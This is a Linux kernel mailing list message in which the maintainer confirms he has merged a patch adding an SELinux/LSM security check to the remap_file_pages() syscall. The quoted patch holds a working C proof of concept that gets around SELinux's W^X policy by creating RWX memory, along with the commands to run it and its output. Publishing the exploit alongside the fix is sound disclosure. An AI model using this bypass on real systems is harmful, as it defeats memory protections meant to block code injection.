From: Paul Moore <paul@paul-moore.com>
To: linux-security-module@vger.kernel.org, linux-mm@kvack.org,
selinux@vger.kernel.org
Cc: ebpqwerty472123@gmail.com
Subject: Re: [PATCH] mm: call the security_mmap_file() LSM hook in remap_file_pages()
Date: Thu, 19 Sep 2024 04:13:54 -0400 [thread overview]
Message-ID: <CAHC9VhSGxgXB5wmVKyqaGATPXV51XDjg20qOkppcfGasULOCNw@mail.gmail.com> (raw)
In-Reply-To: <20240919080905.4506-2-paul@paul-moore.com>
On Thu, Sep 19, 2024 at 4:09 AM Paul Moore <paul@paul-moore.com> wrote:
>
> From: Shu Han <ebpqwerty472123@gmail.com>
>
> The remap_file_pages syscall handler calls do_mmap() directly, which
> doesn't contain the LSM security check. And if the process has called
> personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
> RW pages, this will actually result in remapping the pages to RWX,
> bypassing a W^X policy enforced by SELinux.
>
> So we should check prot by security_mmap_file LSM hook in the
> remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
> potentially permits an attacker to bypass a W^X policy enforced by
> SELinux.
>
> The bypass is similar to CVE-2016-10044, which bypass the same thing via
> AIO and can be found in [1].
>
> The PoC:
>
> $ cat > test.c
>
> int main(void) {
> size_t pagesz = sysconf(_SC_PAGE_SIZE);
> int mfd = syscall(SYS_memfd_create, "test", 0);
> const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
> MAP_SHARED, mfd, 0);
> unsigned int old = syscall(SYS_personality, 0xffffffff);
> syscall(SYS_personality, READ_IMPLIES_EXEC | old);
> syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
> syscall(SYS_personality, old);
> // show the RWX page exists even if W^X policy is enforced
> int fd = open("/proc/self/maps", O_RDONLY);
> unsigned char buf2[1024];
> while (1) {
> int ret = read(fd, buf2, 1024);
> if (ret <= 0) break;
> write(1, buf2, ret);
> }
> close(fd);
> }
>
> $ gcc test.c -o test
> $ ./test | grep rwx
> 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
>
> Link: https://project-zero.issues.chromium.org/issues/42452389 [1]
> Cc: stable@vger.kernel.org
> Signed-off-by: Shu Han <ebpqwerty472123@gmail.com>
> Acked-by: Stephen Smalley <stephen.smalley.work@gmail.com>
> [PM: subject line tweaks]
> Signed-off-by: Paul Moore <paul@paul-moore.com>
> ---
> mm/mmap.c | 4 ++++
> 1 file changed, 4 insertions(+)
I've just merged this into the lsm/stable-6.12 branch and plan to send
this to Linus shortly.
--
paul-moore.com
prev parent reply other threads:[~2024-09-19 8:14 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2024-09-19 8:09 Paul Moore
2024-09-19 8:13 ` Paul Moore [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=CAHC9VhSGxgXB5wmVKyqaGATPXV51XDjg20qOkppcfGasULOCNw@mail.gmail.com \
--to=paul@paul-moore.com \
--cc=ebpqwerty472123@gmail.com \
--cc=linux-mm@kvack.org \
--cc=linux-security-module@vger.kernel.org \
--cc=selinux@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox